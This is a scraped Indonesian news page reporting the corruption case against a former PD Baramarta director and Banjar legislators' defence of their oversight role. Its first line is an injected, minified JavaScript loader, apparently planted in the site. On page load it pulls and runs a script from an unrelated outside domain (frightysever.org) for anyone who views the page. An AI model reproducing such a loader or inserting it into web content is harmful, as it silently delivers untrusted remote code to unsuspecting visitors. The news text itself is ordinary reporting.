(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Mantan Dirut PD Baramarta TI ditahan oleh Kejaksaan Tinggi (Kejati) Kalimantan Selatan atas dugaan tindak pidana korupsi yang menyebabkan kerugian negara sebesar Rp 9,2 miliar.
Lantas apakah DPRD Banjar kebobolan atas fungsi pengawasan yang dilakukan, terlebih Komisi II kerap membahas mengenai perusahaan daerah milik Pemkab Banjar itu.
Ditanya ikhwal fungsi pengawasan ini, Ketua Komisi II DPRD Banjar Pribadi Heru Jaya mengatakan Rapat Dengar Pendapat (RDP) memang sering dilakukan dengan tema-tema tertentu, seperti pembahasan peningkatan Pendapatan Asli Daerah (PAD).
Namun tidak pernah menyinggung kasus yang menyebabkan kerugian hingga Rp 9,2 miliar dalam RDP yang dilakukan.
“Baru-baru ini kita memang menggelar RDP dengan PD Baramarta, namun kita masih belum mendengar akan adanya kasus itu, bahkan kita tahu dari teman-teman media, berkaitan dengan Baramarta itu sudah masuk ranahnya hukum ya, namun saat melakukan pengawasan pada intinya kita selalu memikirkan peningkatan PAD,” katanya.
Ditanya apakah pernah membahas RDP di Komisi II DPRD Banjar mengenai pengawasan terhadap keuangan Baramarta. Heru mengatakan di RDP yang kerap dilakukan tentu mempunyai tema masing masing di setiap pertemuannya. RDP mengenai keuangan pernah dibahas mengenai hutang pajak. Namun sekali lagi mengenai masalah yang menjadi ranah hukum dan ramai di perbincangkan sekarang pihaknya tidak pernah mengetahuinya.
“Bukan kebobolan, ranah kitakan pengawasan bagaimana kinerjanya dan PAD untuk tahun 2021, kendati mereka memang terhutang pajak, terkait kasus ini nanti akan kita panggil mereka dalam RDP yang dijadwalkan melalui Banmus,” tutupnya.
Sementara itu, Ketua DPRD Banjar Muhammad Rofiq, sebelumnya mengaku pernah memberikan saran pengauditan yang dilakukan secara legal seperti yang dilakukan oleh BPKP dan para penegak hukum, pihaknya meminta agar ada rincian kemana saja sebenarnya anggaran sebesar 9 miliar yang diduga diselewengkan oleh Dirut PD Baramarta itu.
“Yang mengedit boleh itu BPKP sama penegak hukum, kami inikan hanya menyarankan kemarin, siapa tahu didengar mereka mengaudit itu atas permintaan siapa kita kurang tau jugakan, nah kerugian negara 9 Miliar itu juga harus dibuka kerugiannya itu kemana saja,” bebernya.
Ditanya apakah DPRD Banjar kebobolan dalam hal ini, Rofiq menepis bahwa DPRD hanya sebatas mempunyai fungsi pengawasan dan bukan penegak hukum.
“Kita ini melakukan pengawasan, bukan menangkap orang, mau seperti apapun diawasi kalau memang kebobolan ya apa daya kami,” pungkasnya. (kanalkalimantan.com/rdy)
Reporter: rdy
Editor : bie
KANALKALIMANTAN.COM, BANJARMASIN - Tim Banjarbaru Haram Manyarah (Hanyar) yang mengawal hasil Pemilihan Wali Kota dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More
KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More
KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More
KANALKALIMANTAN.COM, MARTAPURA - Satuan Polisi Pamong Praja (Satpol PP) Kabupaten Banjar melakukan penertiban terhadap penjualan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuk pengunjung 2024 ini Pemerintah Kabupaten Banjar meraih penghargaan dari Perwakilan Ombudsman… Read More
This website uses cookies.